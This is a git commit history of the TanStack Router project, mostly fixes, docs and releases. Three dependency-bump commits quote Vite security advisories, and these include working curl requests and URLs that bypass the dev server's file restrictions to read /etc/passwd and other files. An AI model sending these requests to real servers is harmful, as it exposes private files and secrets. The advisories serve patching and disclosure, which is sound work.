Christopher Horobin
5a8267971d
fix: type errors with skipLibCheck: false (#4233)
fixes #4114
2025-05-23 00:25:53 +02:00
scarf
0d71e044d8
docs(react-router): document migration path for parseParams and stringifyParams (#4216) 2025-05-22 20:08:04 +02:00
autofix-ci[bot]
385c47be5f
ci: apply automated fixes 2025-05-22 18:07:48 +00:00
Joel Tannas
d4321feac1
docs: Fix syntax error in search middleware example (#4223) 2025-05-22 20:06:50 +02:00
Leonardo Montini
72ffeb4d4a
docs: fix neon bullet points and url (#4214)
The markdown list wasn't shown properly and I noticed the signup link
was broken

Before

![image](https://github.com/user-attachments/assets/9efd3f90-3ed1-42af-823a-edb4fdd39770)


After

![image](https://github.com/user-attachments/assets/bc43b4ee-30b4-4eb8-ace2-6cd9ca77c2d9)
2025-05-20 20:44:56 +02:00
Tanner Linsley
dd3d33f567 release: v1.120.6 2025-05-18 08:07:05 +00:00
Adam Hunter
699194749c
fix(router-devtools-core): adds missing containerElement prop support for TanStackRouterDevtoolsCore (#4126)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-18 09:52:39 +02:00
Tanner Linsley
ada2b08226 release: v1.120.5 2025-05-16 20:36:47 +00:00
Manuel Schiller
7bf23b4b18
fix: head execution (#4189) 2025-05-16 22:33:26 +02:00
Tanner Linsley
13996c6875 release: v1.120.4 2025-05-16 17:05:45 +00:00
Manuel Schiller
e18b333a60
fix: properly handle sessionStorage not being available for scroll restoration (#4186) 2025-05-16 19:03:16 +02:00
ThaumRystra
fa871a0e8b
docs(router): fix scrollRestorationBehavior option in "scroll-restoration" guide (#4169) 2025-05-16 12:20:48 +12:00
Luis Merino
5d940e2d8b
docs: specify that not found errors are handled by the nearest parent when called within loader (#4164) 2025-05-14 00:26:04 +02:00
Tanner Linsley
38142f4c68 docs: update comparison 2025-05-13 11:53:36 -06:00
Birk Skyum
9f93ce0df0
fix(docs): update src to images on tanstack.com (#4165)
tanstack.com has been updated to use /src instead of /app, which means
these broken asset links has to be updated too
2025-05-13 16:11:53 +02:00
Dane Grant
673a04398b
docs(start): Remove unplanned feature from docs (#4150) 2025-05-12 00:37:47 +02:00
Tanner Linsley
14be184843 release: v1.120.3 2025-05-08 21:15:31 +00:00
Christopher Horobin
32511d11c7
perf: improve type checking performance of Route.Link (#4117) 2025-05-08 23:14:15 +02:00
Tanner Linsley
163aaa33f2 release: v1.120.2 2025-05-06 23:32:39 +00:00
Christopher Horobin
f6be2df066
perf: improve ts perf for Route.Link (#4104) 2025-05-07 01:31:10 +02:00
Andy Kiesler
144a33c48e
docs(router): normalize heading level for "Effect" in search guide (#4100) 2025-05-07 10:56:27 +12:00
Tanner Linsley
3ab84a8d73 release: v1.120.1 2025-05-06 20:13:30 +00:00
Christopher Horobin
2c37ce289e
fix: use this.fullPath instead of useRouter (#4099) 2025-05-06 22:12:14 +02:00
Tanner Linsley
468edac9f1 release: v1.120.0 2025-05-06 19:48:31 +00:00
Christopher Horobin
5eeb123381
feat: add bindings for Route.Link and routeApi.Link (#4095)
This allows `Route.Link` and `routeApi.Link` bindings instead of manual
`from`.

We never used to be able to do this due to circular issues but it seems
this is no longer an issue since all the changes to the types

---------

Co-authored-by: TkDodo <office@dorfmeister.cc>
2025-05-06 21:47:14 +02:00
Miro Rauhala
f0dbf0a124
docs(router): update working in the "route-trees" guide (#4091) 2025-05-06 10:38:59 +12:00
Sean Cassiere
697bca0fb1
test(directive-functions-plugin): add yields to generators (#4096) 2025-05-06 10:29:34 +12:00
Ilya Komichev
409252e947
docs(start): fix typos in logos (#4090) 2025-05-06 10:15:09 +12:00
Shruti Kapoor
ba8a1c836d
Adding Tutorial for Reading and Writing a File (#4089)
# Add DevJokes Tutorial: Reading and Writing Files
<img width="1318" alt="image"
src="https://github.com/user-attachments/assets/e6284dea-9596-42e5-b37a-c29ed56fa934"
/>

## Description
Adds a tutorial showing how to build a full-stack DevJokes app with
TanStack Start. Users learn to create server functions for reading and
writing to files, build React components, and implement data fetching
with TanStack Router.

## Key Features
- Server functions with `createServerFn`
- File-based data storage with Node.js `fs`
- Form handling and data validation
- Data refreshing with `router.invalidate()`
- Complete UI with Tailwind CSS

## Demo
https://youtu.be/zd0rtKbtlgU

## Reference
Complete code available at: https://github.com/shrutikapoor08/devjokes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-05 08:23:49 -06:00
ihaback
8672ec7b04
chore(examples): match env.example with config for authenticated-routes-firebase (#4079) 2025-05-05 03:38:25 +12:00
allen
42156fb226
fix the uptdated link for file base routing (#4085)
self explanatory
2025-05-04 14:23:30 +02:00
Tanner Linsley
c1ad053069 release: v1.119.2 2025-05-04 01:47:06 +00:00
Sean Cassiere
d2a1a04534
fix(directive-functions-plugin): do not exclude generator functions (#4080) 2025-05-04 13:45:39 +12:00
Chukwuka Morka
191a1c8a2b
docs(router): walkthrough on using the ignore prefix for component colocation in the routing-concepts guide (#4075)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-05-02 10:17:05 +12:00
Chukwuka Morka
5e08ac5d74
docs(router): add ignore prefix into the file naming conventions guide (#4074)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-05-02 10:16:52 +12:00
Max Zhang
eb649e79de
docs(start): fix typos in the hosting guide (#4073) 2025-05-01 14:26:59 +12:00
Tanner Linsley
d4aaf7eaa3 release: v1.119.1 2025-04-30 13:12:53 +00:00
Gianmarco Rengucci
1cfb6e26c9
fix(react-router-devtools): remove useRouter warning for panel (#4070)
This PR removes the warning to align the two
devtools implementations.
2025-05-01 01:04:25 +12:00
Tanner Linsley
91ae17d7ea release: v1.119.0 2025-04-30 09:45:19 +00:00
scarf
12eb1426fe
feat(router-devtools-core): add navigation link to route (#4048)
Add a button to navigate to a route from the `router-devtools`.

Paths with dynamic path parameters will reuse the path parameters
from the current route. Only paths, where the current path
parameters are viable for a successful navigation will have this button
appear.

---

Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-30 21:20:39 +12:00
Ionut-Cristian Florescu
285cff7bbd
docs(start): fix key on changing the base path for API routes (#4062) 2025-04-30 18:35:26 +12:00
Tanner Linsley
5e1354cf72 release: v1.118.0 2025-04-26 21:27:24 +00:00
Manuel Schiller
13f8559b8d
bump deps (#4057) 2025-04-26 23:26:09 +02:00
Leonardo Montini
413a56a347
docs: fix broken link (#4055) 2025-04-26 21:05:15 +02:00
Manuel Schiller
99b09779fd
Update pr.yml 2025-04-25 21:06:37 +02:00
Manuel Schiller
c23fe1d589
Update ci.yml 2025-04-25 21:05:17 +02:00
Michal Piechowiak
8edeeaa6a1
feat: allow use of nitro zero conf (#3993)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-04-25 20:35:32 +02:00
Sean Cassiere
cc0d468b44
chore(create-router,create-start): remove user app init packages (#4049) 2025-04-25 19:34:55 +12:00
SeanCassiere
7ab6f5694f
docs(router): update link to create-tsrouter-app options 2025-04-25 19:09:37 +12:00
Tanner Linsley
a3c8bfed69 release: v1.117.2 2025-04-25 05:04:54 +00:00
Sean Cassiere
6fcf118785
fix(router-plugin): do not split the pendingComponent (#4047)
This change, makes it so that the `pendingComponent` is no longer
code-split by default when using the `automaticCodeSplitting` feature.

With this change, both the `loader` and `pendingComponent` will not be
code-split by _default_.
2025-04-25 17:00:34 +12:00
Tanner Linsley
5bf73eaa85 release: v1.117.1 2025-04-24 21:11:24 +00:00
Manuel Schiller
afdafcf63a
fix: pending component handling for initial load (#4044) 2025-04-24 23:09:47 +02:00
Tanner Linsley
fff694147b
Update overview.md 2025-04-23 15:20:59 -06:00
Tanner Linsley
bbbcb9c6ff
Update overview.md 2025-04-23 13:12:44 -06:00
Tanner Linsley
3cbb3e8492 release: v1.117.0 2025-04-23 01:48:48 +00:00
Burak Can
1f2642bf28
feat(router-core): allow dynamic ViewTransition types (#4031)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-23 13:41:23 +12:00
Mikaël Sévigny
431dec2c26
docs(start): remove trailing commas from "build-from-scratch" (#4029)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-23 13:22:58 +12:00
Tanner Linsley
82eb7b6919 release: v1.116.3 2025-04-22 23:18:36 +00:00
Christopher Horobin
9cb671967f
fix(start-client-core): fix no implicit any in validators (#4032) 2025-04-23 01:17:13 +02:00
Sean Cassiere
fc1f362e92
test(router-core): cases for interpolatePath and matchPathname (#4024) 2025-04-21 19:54:57 +12:00
Tanner Linsley
231230e22e release: v1.116.2 2025-04-19 22:34:14 +00:00
Diogo Carmo
2760a56b5d
fix(start-client-core): export OptionalFetcher type (#4001)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-20 10:27:01 +12:00
Matthew Pirocchi
d57f9f5cc6
docs(start): complete the server functions - mutation example (#3992)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-17 20:13:24 +12:00
M. Fahad Sohail
afbeb9ea16
docs(router): fix broken links on the file-naming-conventions guide (#3998)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-17 20:04:46 +12:00
FatahChan
8085969ae3
docs(router): list "parallel routes" in the comparison (#3995) 2025-04-16 09:31:52 +12:00
Eduardo Bouças
afe29b9ad8
examples: Replace redaxios with native fetch (#4000)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-04-15 18:32:35 +02:00
Fitim Bytyqi
9a4af7cf91
docs: improves react/solid quick-start docs (#3994)
addition fixes from #3961
2025-04-15 01:38:51 +02:00
Ezekiel Keator
3cba9989d2
docs: correct start server git link (#3991) 2025-04-14 19:55:22 +02:00
Tanner Linsley
6e183bae4f release: v1.116.1 2025-04-13 21:20:12 +00:00
Valentin Kunz
4b7212c564
fix(router-plugin): avoid blocking rspack and webpack during build (#3980) 2025-04-14 09:12:45 +12:00
Seongbin Kim
112438412c
docs(router): broken link to "SSR" from "Deferred Data Loading" guide (#3984) 2025-04-14 09:11:21 +12:00
Yiwan
d4a4e96b62
docs(router): add comment for vite plugin order (#3986)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-04-14 09:10:42 +12:00
Tanner Linsley
d843f83057 release: v1.116.0 2025-04-13 19:59:11 +00:00
Zac Rosenbauer
f0138f80b0
feat(react-router): Export ClientOnly (#3969)
Exposes the `ClientOnly` component for preventing rendering & hydration
errors.

## Background

When you attempt to prevent content from rendering using something like
`typeof document !== 'undefined'` as that type of conditional will cause
hydration errors.

## API

```tsx
import { ClientOnly, createRoute } from '@tanstack/react-router'
import { Charts, FallbackCharts } from './charts-that-break-server-side-rendering'

const Route = createRoute({
  // ... other route options
  path: '/dashboard',
  component: Dashboard,
})

function Dashboard() {
  return (
    <div>
      <p>Dashboard</p>
      <ClientOnly fallback={<FallbackCharts />}>
        <Charts />
      </ClientOnly>
    </div>
  )
}
```

> [!NOTE]
> This component as is (other than I removed the `children` as a
`function`) in production on [joggr.io](https://joggr.io)

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: Ahmed Abdelbaset <A7med3bdulBaset@gmail.com>
Co-authored-by: Birk Skyum <birk.skyum@pm.me>
2025-04-13 10:50:44 +02:00
Tanner Linsley
af455d812f release: v1.115.3 2025-04-11 17:19:44 +00:00
Fred Brandt
e3404881ae
fix(router-core): accept AnyRouter in redirect (#3979)
The migration to `router-core` made the `redirect` function
more restrictive since it _only_ used the `RegisteredRouter`.

This change makes it so that it accepts `AnyRouter` with it
defaulting to the `RegisteredRouter`. Also, `TTo` also
needed to be changed, since the first generic became optional.
2025-04-11 21:30:40 +12:00
Sean Cassiere
b886a7d357
chore(examples): move the WorkOS content to src (#3972) 2025-04-10 21:14:55 +12:00
Nick Nisi
f9c343e0b5
chore(examples): add TanStack Start WorkOS example (#3966)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-10 20:41:57 +12:00
Fitim Bytyqi
09e87448b5
docs: devtools installation (#3961)
Edits the way devtools are installed
2025-04-08 13:02:00 +02:00
Tanner Linsley
03a1cb05bb release: v1.115.2 2025-04-07 20:27:37 +00:00
Denys Isaichenko
9bd706c07e
fix(react-router): fix issue with scroll restoration (#3918)
fixes https://github.com/TanStack/router/issues/3680

It seems like `resolvedLocation` does not always point to the latest
location state in the ref callback; sometimes it points to the previous
location and `onRendered` is not triggered.

Also this fix detaches `onRendered` event from the scroll restoration
feature.
2025-04-07 22:18:25 +02:00
Birk Skyum
7bc761ba8a
chore(examples): Update solid query examples (#3956) 2025-04-07 13:31:42 +02:00
Tanner Linsley
f087b1a7de release: v1.115.1 2025-04-06 09:21:36 +00:00
Sean Cassiere
6b99e3f85a
refactor(start-client-core): hash the static filenames (#3947)
This change hashes the generated filnames for the JSON blobs that used
for static server function RPC calls.

So it goes from being
```
/__tsr/staticServerFnCache/app_routes_nav_posts_stub_tsx--loadPostServerFn_createServerFn_handler__-this-is-a-post-slug-.json
```

to

```
/__tsr/staticServerFnCache/00e9f7af882c994097f011e6492f2a30e8754bb0.json
```

This has an added benefit of ensuring that the `sha1` hash names are
always the same in character length.
2025-04-06 21:10:43 +12:00
Tanner Linsley
361d32b2d5 release: v1.115.0 2025-04-06 04:50:31 +00:00
SeanCassiere
e213f1224c
feat: RELEASE_ALL
RELEASE_ALL
2025-04-06 16:49:08 +12:00
Sean Cassiere
ad4ec75e77
chore(examples): change types for input arguments for auth examples (#3946) 2025-04-06 16:46:54 +12:00
Ethan Shumate
a41e7cf6e5
chore(examples): do not use GET to send credentials (#3945)
Fixes #3944

---

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-06 16:41:35 +12:00
Marvin ROGER
30c49e1328
fix(router-core): search parsing of + using URLSearchParams (#3894)
Closes #3655

Switch out our `qss` implementation from its manual solution
over to using `URLSearchParams` for handling
encoding/decoding while still retaining the same interface.

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-04-06 16:23:28 +12:00
Kid
d1e78bb5f6
docs(router): fix broken link to example in authenticated routes guide (#3937) 2025-04-05 13:53:14 +13:00
renovate[bot]
1bb39b96ad
chore(deps): update dependency vite to v6.1.4 [security] (#3939)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`6.1.3` ->
`6.1.4`](https://renovatebot.com/diffs/npm/vite/6.1.3/6.1.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.1.3/6.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.1.3/6.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-31486](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x)

### Summary

The contents of arbitrary files can be returned to the browser.

### Impact

Only apps explicitly exposing the Vite dev server to the network (using
--host or [server.host config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected..

### Details

#### `.svg`

Requests ending with `.svg` are loaded at this line.

037f801075/packages/vite/src/node/plugins/asset.ts (L285-L290)
By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script`
header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than
[`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit)
(default: 4kB) and when using Vite 6.0+.

#### relative paths

The check was applied before the id normalization. This allowed requests
to bypass with relative paths (e.g. `../../`).

### PoC

```bash
npm create vite@latest
cd vite-project/
npm install
npm run dev
```

send request to read `etc/passwd`

```bash
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
```

```bash
curl 'http://127.0.0.1:5173/@&#8203;fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
```

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v6.1.4`](https://redirect.github.com/vitejs/vite/releases/tag/v6.1.4)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.1.3...v6.1.4)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v6.1.4/packages/vite/CHANGELOG.md)
for details.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yMjcuMyIsInVwZGF0ZWRJblZlciI6IjM5LjIyNy4zIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-04-04 21:59:55 +00:00
Tanner Linsley
359d19a115 Update partners 2025-04-04 13:29:24 -06:00
Sean Cassiere
bdcf4f7f89
test(router-generator): check filenames starting with a number (#3935) 2025-04-04 14:18:14 +13:00
TN
37fc7e82df
docs: Update scroll-restoration.md (#3934)
Fix typo
2025-04-04 01:35:41 +02:00
SeanCassiere
03ac067c32
chore(root): switch from fs.rmdir to fs.rm 2025-04-03 15:54:25 +13:00
Tanner Linsley
dfa641dc9c release: v1.114.34 2025-04-02 22:52:22 +00:00
Sean Cassiere
084d42f48f
fix(react-router): missing Symbol declaration for HMR in root route (#3923)
Similar to #3821, the React Symbol declaration was missing on the
`RootRoute` class.

fixes #3917
2025-04-03 11:49:00 +13:00
Tanner Linsley
f8015e7629 release: v1.114.33 2025-04-02 18:43:59 +00:00
Alex
9b95618f5b
fix(react-router): restore scroll position onResolved (#3914)
Fixes #3741 

Added hash scroll handling directly in the React `Transitioner`
component's `onResolved`, similar to how it's implemented in the Solid
version
2025-04-02 20:37:36 +02:00
Ehtisham Sajjad
dbfea0d08c
docs(router): simplify route variable naming in search params guide (#3890)
In the "search params" guide, the usage of the variable
`allProductsRoute` has been changed to `Route` in the code-block
examples for consistency and clarity.
This makes the examples easier to follow since `Route` is used
throughout the rest of the documentation.
2025-04-02 09:07:41 +13:00
Tanner Linsley
9ca08f4756 release: v1.114.32 2025-04-01 14:24:37 +00:00
Christopher Horobin
fb99d92ca8
fix(router-core): remove React type dependency (#3902) 2025-04-01 16:23:06 +02:00
Diego Garcia Brisa
eab355aa69
docs: Fix HeadContent docs (#3905)
## Changes

1. **Fix createRootRoute syntax**: Updated all examples in the document
head management guide to use the correct `createRootRoute({...})` syntax
instead of the incorrect `createRootRoute()({...})` syntax.

2. **Fix HeadContent placement**: The previous commit corrected the code
example for Single-Page Applications to properly show the correct syntax
for creating a root route with HeadContent.

## Why these changes matter

- The incorrect syntax examples could lead to confusion for developers
implementing document head management in their applications
- These fixes ensure consistency throughout the documentation and
provide developers with the correct implementation patterns
- Proper documentation helps reduce support requests and improves
developer experience

## Technical details

- Fixed 5 instances of incorrect `createRootRoute()({...})` syntax
throughout the document
- Previously fixed the SPA example which had an incorrect API reference

These changes ensure that all code examples in the document head
management guide are correct and consistent with the actual API
implementation.
2025-04-01 10:21:46 +02:00
Redbird10
1bbe4a062a
docs(router): correct ReturnType of Router.matchRoute to match the runtime output (#3896)
The `.matchRoute` method on the Router type page previously stated it
returns a `RouteMatch` object. In reality, it returns only the route
match's params.

This update corrects the return type in docs to reflect actual behavior.

Fix #3875
2025-04-01 11:13:23 +13:00
renovate[bot]
d0bbf662e5
chore(deps): update dependency vite to v6.1.3 [security] (#3900)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`6.1.2` ->
`6.1.3`](https://renovatebot.com/diffs/npm/vite/6.1.2/6.1.3) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.1.2/6.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.1.2/6.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-31125](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8)

### Summary

The contents of arbitrary files can be returned to the browser.

### Impact
Only apps explicitly exposing the Vite dev server to the network (using
`--host` or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.

### Details

- base64 encoded content of non-allowed files is exposed using
`?inline&import` (originally reported as `?import&?inline=1.wasm?init`)
- content of non-allowed files is exposed using `?raw?import`

`/@&#8203;fs/` isn't needed to reproduce the issue for files inside the
project root.

### PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read
arbitrary files and returns the file content if it exists. Base64
decoding needs to be performed twice
```
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
```

Example full URL
`http://localhost:5173/@&#8203;fs/C:/windows/win.ini?import&?inline=1.wasm?init`

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v6.1.3`](https://redirect.github.com/vitejs/vite/releases/tag/v6.1.3)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.1.2...v6.1.3)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v6.1.3/packages/vite/CHANGELOG.md)
for details.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yMDcuMSIsInVwZGF0ZWRJblZlciI6IjM5LjIwNy4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-03-31 22:02:41 +00:00
Tanner Linsley
fdc7ddeb22 release: v1.114.31 2025-03-31 21:15:51 +00:00
Sean Cassiere
e9b253ebfd
fix(router-plugin): code-splitting to handle default exported function declarations (#3901)
Currently, when the code-splitter encounters a known identifier used for
configuration in `createFileRoute` (such as `component`, `loader`,
`errorComponent`, etc.) it retains the export without splitting it out
into a separate file.

This functionality is currently partially working when the export is a
"default export" which references an already declared identifier.

```ts
const loader = () => {}
export default loader
```

However, it does not work when the "default export" is also making a
function declaration for the export.

```ts
export default function loader() {}
```

This PR adds the functionality to detect this use case and perform the
same transformations to align itself with the behaviour for all others
exports.
2025-04-01 10:14:32 +13:00
Birk Skyum
0394b6b668
fix(router-devtools-core): remove floating panel style on close (#3898) 2025-03-31 16:18:24 +02:00
Adam
1f2e243530
docs(start): add note on needing variable export named as APIRoute (#3892)
Just a quick note to prevent hitting 404s where the export needs to be named `APIRoute`.

---------

Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-03-31 21:23:31 +13:00
Tanner Linsley
2bed2c21f4 release: v1.114.30 2025-03-29 16:27:28 +00:00
Manuel Schiller
1cb9443912
fix: bump babel-dead-code-elimination (#3881)
fixes #3824
2025-03-29 17:25:03 +01:00
SeanCassiere
ab0173dddb
docs(start): update the list to the router examples 2025-03-30 00:29:39 +13:00
Maradona Morais
f1b2d001fa
docs(router): fix _pathlessLayout example of file-based routing (#3877)
The `_pathlessLayout.tsx` should be the same name as the directory
`_pathlessLayout` in order to be applied as Layout for `route-a` and
`route-b` routes
2025-03-28 18:52:54 +01:00
Neeraj Dalal
3652b3529d
docs(start): switch from degit to gitpick (#3863)
Degit is both slower and has some odd caching behaviour on the user's machine.
Gitpick is faster and conforms to more native github URLs.
2025-03-28 05:09:44 +13:00
Birk Skyum
7155c42e9e
chore(docs): fix escaping of brackets in solid overview page (#3866)
addressing
https://github.com/TanStack/router/pull/3864#discussion_r2015283936
2025-03-27 03:34:58 +01:00
Tanner Linsley
c67c0e1f3a release: v1.114.29 2025-03-27 00:35:38 +00:00
Birk Skyum
79a046e0d5 fix: RELEASE_ALL 2025-03-27 01:25:37 +01:00
Birk Skyum
739362f1f9
release experimental @tanstack/solid-start package (#3864)
Mentions of this being experimental in
- overview page (first in the docs)
- readme of solid-start package

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-03-27 01:19:57 +01:00
Tanner Linsley
015053b3bf release: v1.114.28 2025-03-26 16:27:08 +00:00
Agus Setya R
6b1f3c163e
fix(docs): Update link for the The Router Configuration: Preloading & Caching (#3833)
There are broken links in the Tanstack Start "Build from Scratch: The
Router Configuration" section.
I believe this should goes into Tanstack Router documentation.
2025-03-26 17:13:53 +01:00
Matthew Sperry
025ef40748
docs: fix create-tsrouter-app command (#3829)
I ran into errors trying to use the npm and yarn commands listed here,
so I looked at https://github.com/TanStack/create-tsrouter-app and it
appears you should use npx with the `--package-manager` option to
specify npm/yarn/etc.

I see the doc was updated in
https://github.com/TanStack/router/pull/3759/files#diff-32b91344fa0565552fb394a3166cbdebd81afa9d02ffec1ed2c1d055ebad46a9,
I assume that was the old way to create a project but feel free to edit
or close this PR if there's a better way to document this, thanks.
2025-03-26 17:12:50 +01:00
Robert Soriano
8f2ddedd9f
chore(examples): Use new TanStack React Start + Clerk package name (#3858) 2025-03-26 16:14:26 +01:00
Masum Gökyüz
51cecf9387
chore(examples,e2e): incorrect label value for "email" (#3851)
Change label from "Username" to "Email"
2025-03-26 20:54:26 +13:00
renovate[bot]
8833c1be63
chore(deps): update dependency vite to v6.1.2 [security] (#3857)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite](https://vite.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`6.1.0` ->
`6.1.2`](https://renovatebot.com/diffs/npm/vite/6.1.0/6.1.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.1.0/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.1.0/6.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-30208](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w)

### Summary
The contents of arbitrary files can be returned to the browser.

### Impact
Only apps explicitly exposing the Vite dev server to the network (using
`--host` or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.

### Details
`@fs` denies access to files outside of Vite serving allow list. Adding
`?raw??` or `?import&raw??` to the URL bypasses this limitation and
returns the file content if it exists. This bypass exists because
trailing separators such as `?` are removed in several places, but are
not accounted for in query string regexes.

### PoC
```bash
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v6.1.2`](https://redirect.github.com/vitejs/vite/releases/tag/v6.1.2)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.1.1...v6.1.2)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v6.1.2/packages/vite/CHANGELOG.md)
for details.

###
[`v6.1.1`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small611-2025-02-19-small)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.1.0...v6.1.1)

- fix: ensure `.[cm]?[tj]sx?` static assets are JS mime
([#&#8203;19453](https://redirect.github.com/vitejs/vite/issues/19453))
